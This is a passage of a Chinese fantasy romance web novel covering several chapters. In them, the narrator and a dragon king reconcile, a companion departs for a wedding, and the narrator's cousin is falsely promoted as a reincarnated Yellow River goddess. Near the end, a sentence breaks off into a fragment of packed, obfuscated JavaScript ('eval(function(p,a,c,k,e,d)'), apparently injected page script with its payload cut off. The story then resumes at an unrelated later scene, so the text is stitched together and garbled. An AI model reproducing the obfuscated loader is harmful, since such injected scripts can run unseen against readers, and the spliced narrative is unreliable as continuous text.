万兰茹的事办完,我正好要回昆、呃九黎山参加他们的婚礼。 龙哥你有什么话,或是想准备什么礼物,可以直接告诉我、拿给我,我帮你带回去。” 帝曦默了默,意外道:“他要成亲了?新夫人,也是九黎山的仙人么?” 阿乞师叔点头如捣蒜: “是啊!他新夫人叫宋鸾镜,原本是我们阴苗族的圣女,后来、后来功德圆满升了仙。 他俩有好几世的缘分呢!只是兜兜转转,拖到现在才有情人终成眷属。 龙哥你等我回来,我给你们带帝君与鸾镜姐的喜饼!” “他那样的神仙……本王还以为,他一生都不会沾染男女之事。”帝曦低声感慨。 阿乞师叔摆摆手:“嗨缘分到了自然就结婚了,龙哥你不也一样么!一声不吭就和二姐……那个啥,生米煮成熟饭了。” 帝曦没良心地瞟我一眼,抬手虚握遮唇,闷咳一声,“本王同她、只是权宜之计。” 说起这个我也蛮不好意思的,尴尬和阿乞师叔解释: “当初是我为了活命,才私自偷翻他的血玉棺。他、是被迫的……” 这个说法,怎么显得我像流氓呢! 杨泽安摸着下巴不要脸道: “既然是权宜之计,现在小萦反正也已经借寿成功了,实在不行你们俩离了,给我腾个位。 正好我家里最近催联姻催得蛮厉害,你俩今天离我明天就带小萦去民政局领证……” 他话还没说完呢,我手腕就已被黑着脸的帝曦一把握住,下一秒,整个人都被甩去了帝曦身后。 帝曦霸道把我挡在他的影子里,抬手化出一团幽紫灵火震慑杨泽安,目光如刃地盯住杨泽安冷冷威胁: “上一个觊觎本王手里东西的人现在连骨头都烂成了本王的花肥,杨泽安,你也想进土里清醒清醒,给本王养的海底灵草做养分么!” “啊那我不想!” 杨泽安被帝曦难看的脸色给吓秒怂,赶紧往阿乞师叔背后躲,没出息地低声吐槽: “你看你,是你自己说你和小萦在一起只是权宜之计,让你俩离婚,你又不乐意了,你这家伙怎么说一套做一套呢!” 帝曦神色不自在地覆手灭去幽紫灵火,拂袖负在腰后,没有感情地沉道: “本王、只是厌恶别人觊觎本王所有物的眼神。风萦对本王还有用,等、本王用完了,再……” 我心跳一滞的同时,他也突然止住了言语。 再、什么? 再还给杨泽安吗? 阿乞师叔猛吸一口气,紧忙打断:“龙哥!这话可不兴说……” 我藏在他的影子里,低头抿了抿干涩的唇瓣,略有几分失落地深吸一口傍晚的寒气。 原来,我对他而言,只是一样、有用的物件。 他用完了,还会把我再还给别人。 可,我就是我啊,我本质上根本不属于任何人…… 也不存在,再还给杨泽安。 阿乞师叔一本正经地劝道: “当初我鸾镜姐也是为了保命翻了帝君哥的棺材,帝君哥一开始也说了几句听似冷漠的话。 结果呢,他俩处着处着就分不开了,就因为那些话,帝君哥到现在还夜夜跪搓衣板呢! 龙哥你还是悠着点吧,不然以后你也要跪搓衣板,二姐当初能和鸾镜姐玩到一…… 呃我的意思是,二姐和我鸾镜姐性子相仿,她俩要是早认识,肯定早就玩到一块去了。 她俩能玩到一块去,就证明、折磨老公的招数肯定一样损。 龙哥你、要牢记帝君哥这个前车之鉴啊!” “本王不可能同她……” 他回头扫了我一眼,见我面无表情地站着没说话,眼底光微黯, “不可能同她走到要跪搓衣板那一步。 风萦性子没你们想象中那么强势,她、不是不讲理的女子。” 成吧,从头到尾也就说了这一句人话。 杨泽安扒在阿乞师叔肩上,干笑一声: “有本事继续作啊,你了解她还是我了解她,把她惹毛了,她可以一辈子不理你。 想当初家里这几个狗东西冷暴力她,她愣是忍着也不和狗东西们说话,都把自己憋得快语言功能退化了也不肯低头服输。” 帝曦没好气地剜了杨泽安一眼,“就算本王有一天用不上风萦了,本王也不给你!” 杨泽安厚颜无耻地向阿乞师叔颠倒黑白:“你看,他急了,恼怒成怒了。” 阿乞师叔无奈伸手把杨泽安推远些:“哎你别在雷区蹦迪了,等会龙哥真揍你可别连累我。” 杨泽安不服气双臂抱胸,想了想,把话题引回泥人上: “对了师叔,为什么小萦捏的泥人会有聚阴之力,一团泥巴而已,竟然能承载亡人的阴魂。” 阿乞师叔拍拍手,摇头晃脑地解释: “因为二姐用的是黄河边的泥巴啊!土,乃生命之源,万物之根。 你别忘记了,上古时期女娲大神抟土造人,用的就是黄河之水混着黄河岸边的泥土。 通俗讲,黄河边的泥土还是咱们人的原材料呢。 所以用黄河泥土捏出的小人儿就相当于一具人的外壳,虽然无生无死,但却是装人三魂七魄的好容器!” “这样啊。”杨泽安没点正形的昂头逗我:“你看,我就说你玩泥巴迟早能玩出大名堂吧!” 我没多少兴致地低垂着脑袋,“嗯,你说得都对,你很有先见之明。” 指了指堂屋,我说:“你们先聊,我也有点困了,回去睡觉。” 杨泽安啊了声:“天还没黑透彻呢,你这么早就睡觉?还起来吃晚饭吗?” 我边往屋里走,边打着哈欠挥手:“看情况吧。” 再过两天就是十五了,我得想想这次怎么熬。 帝曦本打算跟我一起走的,但被阿乞师叔拦下说话了。 我回屋往床上一倒,蹬掉鞋子进被窝早睡。 苏苏有胡玉衡陪着呢,就算我不做晚饭胡玉衡也不会让她饿着。 趴在软乎乎的小枕头上,我闭上双眼,想放空大脑先睡一会儿。 可一静下来,脑子里回荡的全是他那句:“风萦对本王还有用,等本王用完了,再……” 再还给杨泽安。 再许我和杨泽安领证。 再考虑怎么丢掉我…… 虽说,我知道他不是那些意思,可我就是忍不住会多想。 全身不自在。 其实,他说的也没错,他现在需要亲近我才能恢复修为,而我也需要他帮我找九片龙鳞。 就算我们俩之间没有那层关系,没有那个想法…… 他现在也无法同意杨泽安带我去领证。 毕竟,他总不能每晚和别人老婆同床共枕吧,总不能在法术不够用时跑去亲别人老婆吧! 或许,这段时间是我太依赖他,忽略了他迟早会离开的现实。 所以才会在他阐述真相时,第一反应是闷闷不快…… 风萦,天下没有不散的筵席……你总要习惯身边人一个接一个离去。 这世上唯一不会离开你的,只有父母。 可你,已经没有父亲了……母亲、也早就不要你了。 究竟什么时候才能坦然接受这一切呢。 我揉了揉酸痛的心口,闭着双眼企图快些进入熟睡状态。 奈何都躺二十分钟了,睡意还是没有酝酿出来。 我都打算起床不睡算了,谁知,在我心情烦躁到浑身冒冷汗时,一个清凉的怀抱从背后贴了过来…… 男人的手臂温柔揽过我的腰,将我捞进怀中抱住。 我呼吸一窒,被惊得一动不敢动,大气不敢出。 心跳加速地咬了咬唇,我不知所措的试探着出声:“帝曦,我没睡着……” 身后人将下颌倚在我肩上,嗯了声,“本王知道。” 第一卷 第59章 究竟哪一面,才是真正的你 我紧绷的身子松懈几分,喉中哽了哽:“你……又需要我体内的力量了?” 他沉默良久,“嗯。” 我就知道,他突然贴我这么近,八成又是用得上我了。 我暗暗松口气,老实躺好,再次闭眼,轻喃道:“那你抱吧,我继续睡了。” 他身上的紫水玉灵花香丝丝袅袅钻入我的鼻息,我闻着,莫名心安,下意识脑袋放空,卸下全部沉重心思…… 片刻,我刚有睡意,却听他好听的清澈磁性嗓音在耳边浅浅响起:“生气了?带着情绪过夜,不像你的风格。” 他这么一提醒,我才忽然想起来,哦对,我还有意见没和他提呢! 我睁开眼,认真做了一番心理准备…… “你我心感共通,本王……如今就在你身后,想说什么,尽管说给本王听,不用做思想斗争,本王不会无缘无故伤害你。”他忽然说。 我心跳陡然漏了一拍,有种干坏事被人抓包的心虚感,抿了抿唇,壮着胆子开口: “帝曦,我是一个独立的个体,你不许、物化我。 虽然我不知道你在仙妖的世界中地位有多高,实力有多强,手头有多少兵马。 但我不是妖,不是仙,我是人。 我是在人类世界长大,接受的是人类世界人人平等、独立的教育。 你也说了,我们俩现在是盟友,那就代表你并没有把我放在低你一等位置上,代表我们是平等的。 既然我们是平等的,那我的人生,你就没有资格做主。 哪怕我们以后分道扬镳,好聚好散,我想再嫁给谁,或是我想过什么样的人生,你都没资格为我安排。 我是我自己的,我不属于任何人,所以也不存在,你把我还给谁。” 他听完,沉重呼吸扫得我耳边痒痒的。 良久,他将我再往怀中抱些,闷声道歉: “本王,说错话了。风萦,本王不会把你还给谁。 就算以后你我之间的交易结束……本王也不会干涉你的人生轨迹。” 我这才心里舒畅些,点点脑袋:“那就好,帝曦,谢谢你愿意理解我。” 身后的男人这次却迟迟没有再说话…… 直到我瞌睡得差点一晃脑袋睡死过去,他才压抑问我:“你似乎,不会生气,不会闹。” 我疲倦地闭着眼回答他:“为什么要和你生气,和你闹?” “本王、就这么不值得你信任么,你连真实的一面,都不愿给本王看。” 我抬手按住太阳穴:“你觉得我现在不真实?” 他低道:“至少,你在本王跟前,连生气的情绪都不敢有。” 我困得打哈欠,转身面向他,在他胸膛前找个舒服位置睡好。 他需要我的力量,现在牺牲点美色犒劳我很公平。 何况,每次闷在他怀里睡,我都能睡得很香。 啊,这就是龙气的神效啊! “帝曦,虽然你凶凶的……” 我吐息微沉,呼吸声回荡在寂静的房间内,每一次由重至轻,都过于清晰: “但不影响你是我这辈子,第一个在意我的生死,时刻护着我安危的人。 哪怕你的在意、保护都是带有目的性的,也对我来说,依旧弥足珍贵。 就算演,你也至少愿意和我演。 你不打压洗脑我,你不否定我的努力,你不会对我见死不救,你总凶我,但也仅限于吓吓我。 这样的你,在我心里已经是个很好、很完美的存在了。 你只是说了句让我心中不太舒服的话,我就算、不自在,也不能因为这点小事就和你闹。 江墨川那王八蛋打压了我四年,我都没有对他放过几次狠话,更何况是你了。 我不希望把自己最负能量的一面朝向你,你是我老、朋友。 我不能仗着你包容我,就肆意用坏情绪伤害对我好的人。” 话说完,他握在我腰上的大手情不自禁指节微微用力,把我腰身攥得更紧了。 我拍拍他肩膀,靠在他怀里,实在困得厉害,就打算再补一句立马睡觉:“你别多想,我有事会告诉你的。” 他隔了两秒,才用鼻音回了个“嗯。” 过很久,我睡得迷迷糊糊时,又隐约听见他在我耳边低吟了一句什么: “究竟哪一面,才是真正的你。” 可我,一直都是我啊。 两天后,阿乞师叔把万兰茹的魂魄完好无损送回了地府。 再上来,阿乞师叔背了一箱车厘子特意来我家找我们道别。 说是得回老家一趟,参加他鸾镜姐和帝君哥的婚礼。 少则一月,多则两三月才能回来。 而我也从他的描述中大致了解到,他口中的帝君哥是九黎山的镇山龙神,鸾镜姐是他们阴苗族供奉的神娘娘。 早就听闻苗域多奇人,苗族善用蛊,居住大山里身边仙妖也多。 之前在网上看见网友们蹲苗族文旅视频下留言讲述自己在苗域旅游期间的神奇经历,说得绘声绘色神神叨叨惊险万分,我还以为他们是在编故事呢。 没想到竟都是真的! 我还听生前爱游山玩水的白仙说,苗族有很多分支,每一分支的生活习俗、风土人情、甚至民间信仰都不同。 更稀奇的是,外人只知苗域有白苗黑苗等好几种颜色的苗人,却不晓得苗人还有阴阳之分。 阳苗自称始祖是蝴蝶妈妈,信奉上古战神蚩尤。 阴苗的始祖是上古天神茫郁,信奉先天神灵西王母。 阿乞就是信奉西王母的阴苗人。 而且,据白仙说,阴苗族的族人们在上古时期吃过西王母赏赐的不老药,所以个个都能长生不老。 也不晓得是真是假。 不过,当我问起阿乞阴苗族是不是个个都能活好几百岁还不老时,阿乞却第一时间化身打假博主,果断告诉我: “假的!要不是鸾、呃西王母娘娘看在阴苗族改邪归正开始人心向善的份上,网开一面让阴苗族能像普通人一样活个八九十岁,咱们阴苗族还像以前那样,族里人活个五六十岁就算高龄了呢!” 我不太懂他说的改邪归正是什么情况,想细问,又怕冒犯到阿乞师叔,便趴在桌子上换个问题:“这世上,真有西王母吗?” 阿乞师叔从胸口掏出一张红彤彤绘着金色凤凰花的贺帖,摊在桌子上,又从口袋里掏出一支能写出布灵布灵彩墨的笔,递给我: “当然有啊!我们阴苗族世代供奉西王母,去年还有幸得见西王母神迹呢!” 拍拍贺帖,阿乞师叔淡定指挥:“二姐你写字好看,帮我抄个贺卡祝福语!” 我哦了声,拿笔照着他给的字条抄写。 字条上的祝福语很文绉绉,上面成语的大概意思是,祝福对方婚姻美满,一辈子快快乐乐。 愿他和对方的友谊长存,一生不相忘。 阿乞师叔和他的鸾镜姐关系真好啊。 写贺卡都只给他鸾镜姐写,也不给他那位哥来一份。 流苏伸手戳戳他背着的那箱车厘子,“又是泽安哥给的?” 阿乞师叔等我写完,吹干贺贴上的彩墨,把贺贴宝贝地揣腰间布袋里: “可不是么,他怂得很,怕他联姻对象下毒,这箱车厘子一颗都不敢吃。 我那大师侄最近抽风辟谷也不吃,我怕它搁家里放坏了,就把他一起带上了。 这玩意在苗域可是不常见,我长这么大还没吃过这个大颗的车厘子呢! 回去喂鸟喂蛇,不能浪费!” 说起杨泽安的那个联姻对象,我难理解地摇头:“他联姻对象人挺好啊,杨泽安为什么总躲她?” 流苏一脸八卦的猜测:“总不能是,泽安哥喜欢二姐,为了二姐才逃避联姻的吧!” 我无奈双手托下巴: “那你可真是高估他了,你对他的狗一无所知,他嘴上说着喜欢我,实际上只是拿我当小妹看。 他嚷嚷着要娶我,只是为了满足他那极度渴望英雄救美,救赎她人的变态心理。 简单说,他觉得他娶我是在救我于水火,比较符合他盖世英雄的人设,他啊,根本不懂爱情!” 阿乞师叔拍拍胸口衣服: “二姐说得对!杨泽安人不错,唯一的缺点就是动不动神经大条。 他抵触联姻是不想让别人安排自己的人生,他啊纯贱,只会珍惜自己遇见的,认可的。 别人硬塞给他的,不管好坏他都不要!” 就这,他还想着找媳妇,这辈子难喽。 阿乞师叔揣好东西冲我们抱拳,“得了,我走了,二姐流苏,保重!” 我朝他挥挥手:“阿乞师叔再见!” 阿乞师叔抬手化出一张黄符,指尖一甩,黄符自燃。 符纸刚点着,他人就没了。 玄门道术真是太厉害了,这出门方式比高铁还便捷! 送走阿乞师叔,流苏和我说村长江叔送的两只老母鸡成天在窝里打架,这两天下的蛋都被它们自己打碎吃掉了。 我琢磨着靠家里两只母鸡下蛋产量也不大,不如直接拿钱买鸡蛋,村里二十块就能买一大筐。 于是就果断决定杀掉一只炖汤,给流苏补补身体。 我怕在院子里杀鸡会弄脏地面,就带着流苏拎着鸡,拿刀准备出去放血。 但让我和流苏意外的是,我们刚出门,就看见西边大伯家门口围了很多村民。 大伯家院子上空还青烟袅袅的。 村里朱家婶子着急忙慌拎着一条鱼要往大伯家赶,路过我家门前正好被我顺手拦住。 我抓着朱家婶子的手臂好奇问:“婶子你们这是、干什么呢?” 朱家婶子一脸兴奋道:“去你大伯家找小神姑看事啊!” “小神姑?” 我哽了哽,皱眉猜测道: “不会是风柔吧?” 第60章 黄河老龙王真好色 朱家婶子激动点头: “就是你姐姐风柔,昨天黄河有神仙在河边给过路人传话,说你姐姐风柔是黄河里的龙王妃子,黄河娘娘投生。 让咱们以后家里有什么搞不懂的事都找她,她能帮咱们解决。 这不,我家儿媳妇上个月刚查出怀孕,我拎条鱼过去想问问小神姑,我家儿媳妇这一胎是男是女!” 流苏惊讶道:“风柔还会看男女胎?” 朱家婶子再次点头,笑得合不拢嘴: “能!小神姑比当年那位老神姑还厉害,上午给村里赌钱王老二算方向,那王老二这会子在林家赌色子果然把把都赢!” 不用猜,肯定是江墨川在背后为风柔操作的这一切。 流苏闷闷不快地低声戳破: “黄河娘娘可真忙,上次是来岸上要玉女,后来又要给风柔托梦,现在又莫名其妙成了风柔本人。” 朱家婶子不以为然地笑说: “哎呦,上次玉女那桩事后来不是说清楚了么,是鱼怪冒充黄河娘娘给风柔托梦,这才让风柔误以为那具女尸是黄河娘娘。 后来第二回入风柔梦的,才是真正的黄河娘娘。 现在,说风柔是黄河娘娘转世,那就一切都理顺了啊! 正因为风柔就是黄河娘娘,所以风柔能在梦中联系黄河娘娘。 自打十多年前老神姑去了后,咱们槐荫村可是一直没出过新神姑。 如今风柔成了小神姑,这是村里的大好事。 以后咱们有事就只需要来找小柔看香解惑,可比去找王先生与杨道长方便多了!” 流苏不服气的软软嘀咕: “一会儿说黄河娘娘能入风柔梦,一会儿又说风柔是黄河娘娘转世。 黄河娘娘前几天还在给风柔托梦,现在怎么就成风柔的前世了呢……根本就说不通。” 我颇为出乎意料地看向流苏,胡玉衡这几天的教学成果显著啊,都把苏苏训练成逻辑怪了。 只是苏苏这话说完,朱家婶子脸上的笑意明显冷了下去,拎着鱼尴尬清清嗓子, “我说流苏啊,村里好不容易有了新神姑,你总怀疑这怀疑那做什么,多没意思。 那风柔可是你的大表姐,你该支持她才对。 她要不是黄河娘娘转世,怎么能算出王老二坐哪个方向赌色子能赢? 算了算了,我和你们这些小辈说这堆话也说不通! 你们有事先去忙吧,我还要去大年家看我儿媳妇这一胎是男是女呢! 一天天的,别耽搁事啊!” 朱家婶子说完就拎着十来斤重的大白鱼急急忙忙往大伯家赶了去。 流苏张了张嘴,迷茫得欲言又止。 半晌,等朱家婶子挤进大伯院子里了,流苏才拉着我的手不解道:“她们真好骗,别人说什么,她们就信什么。” 我拍拍流苏手背轻道: “人对认知以外的神秘事物总会本能地感到恐惧,自古以来神神鬼鬼的事就特别容易蛊惑人心,何况咱们还是住在怪事频发的黄河岸边。 咱们这生存环境,就注定咱们要比大城市的人更相信鬼神这一道。 而且人说谎,还能被找出证据证明真假,野仙说谎,根本无从验证。 就像之前的黄河女尸,风柔说她是黄河娘娘,村里人就真信她是娘娘。 后来又说她是鱼怪,村里人就嚷嚷着要杀鱼怪。 仙家转世一说本就玄乎,只要有本事忽悠得住所有人,谁都可以是黄河娘娘转世,你也可以。” 流苏不甘地鼓了鼓腮帮子: “风柔好坏,从小到大,二姐有的她都要抢,都要比。 二姐是黄河龙女转世,她就要做黄河娘娘转世,恶心。” 我牵住流苏手温和安抚她: “龙女转世也好,黄河娘娘转世也好,都只是个虚名而已。 你看我,有过的像我这么惨的龙女转世吗?” “那是二姐不愿意借这个身份坑蒙拐骗!再说二姐是真龙女,风柔是假娘娘。” 流苏还是浑身别扭,心里不平衡: “婶子还说我没意思,还要我支持风柔,风柔是黄河娘娘的说法本来就前言不搭后语嘛,黄河娘娘都转世了,怎么可能再托梦! 既然黄河娘娘还能给风柔托梦,那就证明黄河娘娘还在黄河里,这么简单的问题她们怎么想不通呢!” “我不是和你说了嘛,任何不合理的事,借助仙鬼的口讲出来,不合理也会合理。” 我把手里薅着的母鸡递给流苏拿, “而且,事实上也没有人会在意风萦到底是不是真的黄河娘娘,她们只在意村里有了新的神姑。 王瘸子这个风水先生虽然有点本事,但去找他看事的人还要看他脸色说话,这十多年来,他的名声在村里早就臭了。 杨大哥呢,他倒是慈悲心肠,有什么事他能办尽量就给办了。 但重点是杨大哥乃正道弟子,请他办事他是有底线的。 神姑就不一样了,神姑是民间非官方认证的能人异士,神姑能干一些正道人不能干的事。 就比如看男女胎,算哪个方向赌钱能赢,甚至是看丈夫劈腿妻子出轨,这些都是杨大哥绝对不肯干的。 加之,找神姑看事,小事不要钱,顶多搭两块钱香火进去。 大事只要钱给够,就算隔空杀人的事她们也愿意赌一把。 总之神姑的出现对村里人是百利无一害的,江墨川也就是拿捏准了村民们的这种心理,才想方设法让风柔当上这个小神姑。” “他就是想让风柔压过二姐你一头!我太了解风柔了,表面装得天真纯粹与世无争,其实她心底一直很嫉妒二姐!” 流苏不高兴地拎着母鸡翅膀使劲晃了晃撒气:“坏人,都是坏人!” 我拿她没办法的好笑道:“行了,你就别折磨鸡了,它都快变成桌上一盘菜了你还晃它,俗话说得好,杀生不虐生。” 流苏生着闷气小孩心性地哼了声,乖乖跟着我去杀鸡。 不过,我也是今天才发现流苏这丫头的气性是真大。 鸡毛都拔完了,流苏的气还没消。 小丫头拎着鸡脖子回家,刀法娴熟地把鸡按在砧板上哐哐一顿剁。 躲在牌位里修炼的胡玉衡听见动静好奇飞出来,找到忙着打井水洗蘑菇的我,温和问道: “苏苏这是怎么了?怎么出去一趟还生起闷气了,谁又惹她了?” 我淡定与胡玉衡讲述前因后果。 柳云衣与帝曦也从堂屋里走了出来,听见风柔突然成了黄河娘娘转世,柳云衣干笑两声: “死蛟还真敢骗啊!他知道真正的黄河娘娘是谁么,就敢让风柔冒充!” 胡玉衡叹道: “就是因为不知道,才敢如此放肆。 反正凡人没见过黄河娘娘,黄河龙王与黄河娘娘居于黄河深处的黄河龙宫,更不可能听说这件事。 谎言若是一辈子不被揭穿,那在旁人心目中就是事实!” 柳云衣无奈呵呵,摸摸鼻头小声咕哝:“这么能吹,就不怕正主就在他身边么……” 胡玉衡挑眉用余光瞥柳云衣: “不至于这么倒霉,传闻黄河龙王已经数千年未在凡间露过面了。 黄河一万一千里,河底更是深千尺,黄河龙宫便位于河内千尺之下,万里黄河之中。 咱们虽然现在的位置也在黄河中游,可黄河龙宫的方位具体在哪,自古以来都没有个准话。 应该不会巧到黄河龙宫就在附近水域。” 柳云衣:“嗷那倒不会!” 胡玉衡温润笑笑: “黄河龙王又是出了名的低调,以往在凡间现身,都是黄河大灾之年,河水泛滥,给人间造成大难。 黄河龙王仁心,才会以真身现世救助岸边那些无辜百姓。 除此之外,世间再无任何关于黄河龙王现世的传说。 由此可见,黄河龙王定是个清心寡欲爱清静不爱问世事的神。 这样的神,是不会闲来无事往岸上跑,还恰巧就能撞见江墨川的。 江墨川撞上黄河龙王的概率,比小萦现在去彩票店买张彩票中三百万的概率都低!” 我:“……” 柳云衣听罢表情怪异地揉揉鼻头闷咳一声,目光躲闪着弱弱道: “要不然,小萦现在去镇上彩票店试试?” 小刺猬也没心没肺地冒了出来,捧着个苹果边啃边道: “算了吧,你忘记小萦手臭了么,去年八月份,小萦被杨泽安忽悠着去镇上刮彩票,结果呢,刮了十张一毛没中,倒贴两百块。 人家杨泽安都说了,越贵的彩票中奖率越高,虽然不会中大钱,但大多人可以中个三块五块,十块二十块回回血。 杨泽安那倒霉孩子都刮中了三十呢,小萦却连张两块的都没刮出来。 幸好那天是杨泽安请客带她刮,要是花她自己钱,她回来得哭三天。” 我再次噎住。 就算这是事实……但有必要说的这么扎心么! 啊肝痛! 柳云衣呛了下,忙道:“那还是算了吧。” 胡玉衡单手负后,长身玉立,眉眼含笑的打趣道: “云衣你不是祖籍在黄河么?你家老大的面有多难见,你能不知道么?” 柳云衣噎住,哈哈干笑两声,眼角余光一个劲往旁边一言未发的帝曦身上瞥: “我家老大……哈、哈哈确实不好见,主要是我级别不够,我离开黄河那会子还是个小垃圾,没资格面见大龙王…… 阿响倒是见过,她爹以前是龙宫管账目的文官,她小时候被她爹带去龙宫玩过,有幸得见大、龙王两面。” 胡玉衡颔首:“那不就得了,咱们这天高皇帝远的,江墨川就算造他老婆的谣,他也无从得知啊!” 柳云衣急着辩解道: “人们口中的黄河娘娘,其实根本不是黄河龙王的老婆好不好! 早些年黄河泛滥水势凶猛,一到汛期,有些地处偏远思想落后的临河地区就会在本村本族选个年轻漂亮的女孩扔进河里,送给黄河龙王,这些女孩都被称作黄河娘娘。 准确讲,黄河娘娘并不止一个……” 厨屋里的流苏听见这话,菜刀哐地一声砍进砧板里,气鼓鼓抱怨: “黄河老龙王真好色,一个黄河娘娘不够糟蹋,还要一堆!” 旁边的帝曦陡然呛住,俊脸霎时绯红,不等我问他怎么了,他就先信步走来攥住了我的手腕,眼神飘忽地一脸凝重道:“别听她胡说,没有的事!” 我:“啊?” 第61章 萦儿,你不听话 柳云衣见状也慌忙站出来纠正: “不不不、不是!苏苏你误会了,这都是民间陋**! 黄河泛滥偶尔会在汛期决堤,那和天气地理都有关系。 历史上的黄河水灾大部分都和河底的灵物没有关系,和黄河龙王更没关系了。 黄河龙王是正神,正神是不会害人的。 但也不知道从什么时候开始,人类民间开始流传一个说法,说黄河决堤水灾泛滥是龙王发怒,龙王一发怒,只有年轻漂亮的女孩才能让龙王消气。 于是他们就在汛期水猛时,特意将族里最漂亮的未婚女孩献出来,给她穿上嫁衣,蒙上红盖头,再将她扔进河里祭祀。 然后黄河水势平稳了,他们就会以为是自己献出去的新娘取悦了龙王,就到处宣扬献祭新娘能平息水患。 实际上是时辰到了,黄河自己安分了,和龙王一点关系都没有。 那些被献祭女孩也根本不会见到龙王,黄河汛期水那么猛,女孩掉下去不超过一刻钟就淹**。 而他们之所以将那些无辜女孩称作黄河娘娘,只是想用神化那些女孩的方式,来减轻自己**的罪孽。 人类么,不就最擅长掩耳盗铃自欺欺人么。 哪有什么龙王索要黄河娘娘,我们大、龙王清白着呢!” “所以所谓的黄河娘娘,其实是被献祭在黄河里的那些无辜冤魂?” 白仙大口咬了块苹果:“那没毛病,风柔说不准真是黄河水鬼转世呢!” 苏苏掂着菜刀跑出来:“她怎么什么都要比!学人精!” 我倒是能理解她为什么这样在意那些虚名: “风大年两口子没有儿子,但不影响他们重男轻女,不把风柔当赔钱货。 江墨川无非是想让风柔多个黄河娘娘转世的身份,能在村里立足站稳脚跟,能让风柔在风大年两口子面前更有底气。 爱她,就要尽己所能托举她!” “她有这个本事编造身世,那就让她去当什么黄河娘娘吧,反正现在有江墨川那个死东西在她身边,就算没有假身份,他们也不会消停。” 胡玉衡揉揉流苏的脑袋,耐心安慰: “你这几天还是得避着风大年一家,我怕风大年不肯善罢甘休,继续打你的主意。” 流苏乖乖说:“只要我不出门,他们就不能拿我怎么样,我不怕!有玉衡哥哥和二姐在,我什么都不怕。” 胡玉衡眸光明媚地轻笑一声,好脾气地哄着流苏继续回厨房忙活了。 柳云衣见胡玉衡带着流苏跑了,也拉上白仙回到牌位内继续修炼。 院子里只剩下我和帝曦还站在风口,被吹落一身桃花雪。 我捡起肩上的花瓣,想起那晚风雨交加,江墨川与风柔在我家说的那些话,背上一阵发毛。 “为何,突然心生不安?”他问我。 我考虑了一下,把口袋里的粉色鳞片拿出来,放进他手里:“这东西,还是你帮我保管吧。” 他不解地深深看我一眼,我很有先见之明地说:“它放在我手里不安全,你帮我拿着,免得又被别人抢了。” 鳞片触及他掌心,绽出浅浅一道五色光华。 他吓唬我:“你便不怕,本王会将你的鳞片吸收,收为己用?” 我无奈叹气: “你才看不上我的鳞呢!你是真龙,我算什么…… 何况你是什么样的龙我能不了解吗,我要是连你都信不过,那多悲哀啊。” 他沉默片刻,把鳞片握于掌中:“本王的确看不上你的鳞,放在本王这也好,免得出去一趟又被人算计诓骗走了。” 我们真的只是心感相通吗?为什么总觉得他晓得我心里在想什么。 他松开握在我腕上的五指,指尖擦过我的腕口准备收回,却被我又一把抓住。 他指尖一颤,心跳漏了一拍。 我攥紧他的手指,指腹慢慢滑至他的掌心,主动牵住他。 低头失落倾诉:“帝曦,我真的欠风柔的吗?” 他没说话,但皱了眉。 “我爸淹死在黄河,我妈失踪后,我被村长江叔送去了大伯家。 那时候他们都以为我这个黄河龙女能为他们带来财富,养了我就能发财。 大伯家只有两个睡觉的房间,一间大伯大娘自己住,一间是风柔的。 我去大伯家的第一天,大伯就把风柔赶去牛屋睡了。 那会子他们家已经不养牛了,但牛屋里还是臭烘烘的。 风柔就这么在牛屋里,睡了一年。 牛屋漏风,她原本就身体弱,那年冬天她吹了一个冬季的冷风,从那以后就落了个常年咳嗽的**病。 是我占了她的房间,抢走她父母的关心,害她被疏忽冷落。” 帝曦问我:“把她赶去牛屋是你的要求吗?” 我摇头:“当然不是!” “那是一间屋子,睡不下你们两个姑娘?” “也不是,我当时是想和她挤挤,但风大年非说怕风柔影响我休息,硬要把风柔赶去牛屋。 不过后来他们发现剥我的鳞能卖钱,不需要再求着我供着我祈求天降财富了,就让风柔搬回去睡了,我们俩从那以后就睡一间屋。” “赶她去漏风牛屋睡的人不是你,风大年明明可以让你们两个睡一间屋,却偏要让风柔搬走。 风萦,害风柔落下病根的始作俑者不是你,你如何欠她的了?” 我心头一酸,昂头小心翼翼地找他确认: “我真的不欠她?可是风大年和江墨川他们都说风柔是因为我才病的……” “你心中有答案,但你还总是会陷入自我怀疑,让本王猜猜,你是怕蛟妖用风柔的病当幌子,忽悠你交出这片鳞给风柔治病,对么?” 他突然抬手挑起我的下颌,垂眸威严俯瞰我,仿佛在凝视三万红尘中的一粒花,呵气如兰地与我四目相接,呼吸交缠: “看着本王的眼睛,记住本王的话。风萦,忘掉从前那些无关紧要的人同你讲过的混账说辞。 你需要别人告诉你,你没有错,你需要别人验证你心底的答案,本王就可以做这个人! 风大年将风柔身子弱的原因归根于你,是因为他不愿意承认自己苛待女儿。 江墨川一遍又一遍地洗脑你,用你欠风柔四个字来压迫你,是想掩饰自己背信弃义在有婚约的情况下出轨的真相。 你不欠任何人,风柔的如今,是她父母见钱眼开直接导致而成,与你没有任何关系。 就像江墨川拿刀捅你,你应该恨的是拿刀的人,而不是他手里的刀! 风萦,你给本王脑子清醒一点! 若再因那些本就不该存在的亏欠而把自己的鳞轻易交出去,本王看你也不用等着他们来杀你了。 蠢到这个地步,不如本王先将你丢进黄河淹死。” 他的话不太好听,但却让人心底无限温暖。 我一个没忍住,一头撞进他怀里,抱住了他。 心在胸膛里扑通扑通乱跳,早已分不清是他的那颗心乱了节奏,还是我的这颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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柳云衣不着调地转身在院子里徘徊: “我决定了!从今以后我就是你的军师,帮助你拿下大王。 这样你收获爱情,我收获亮瞎眼的光明前途,我们互利互惠!” 我深呼吸。 行吧,他又犯病了。 爱情……和帝曦么? 脑子里不自觉想象到了和帝曦谈恋爱的画面—— 我俩要是在一起了,会不会三天一小吵五天一大吵啊…… 那我一个月得被扔进黄河多少次啊! 再说,帝曦已经明确告诉过我,他只是暂时留在我这里,迟早有一天会离开…… 我和他,没有可能的。 柳云衣收获光明前途的梦想注定会破灭。 …… 第二天一大早,我带着流苏去给我爸上坟。 清明时节雨水多,淅淅沥沥的小雨从前一天傍晚下到现在就没停过。 我蹲在我爸坟前点了一小摞黄纸,流苏把刚折的杨柳与桃花插在我爸的坟包上。 熊熊火焰在蒙蒙细雨中烧得旺盛。 忽有一阵阴风从背后扫来。 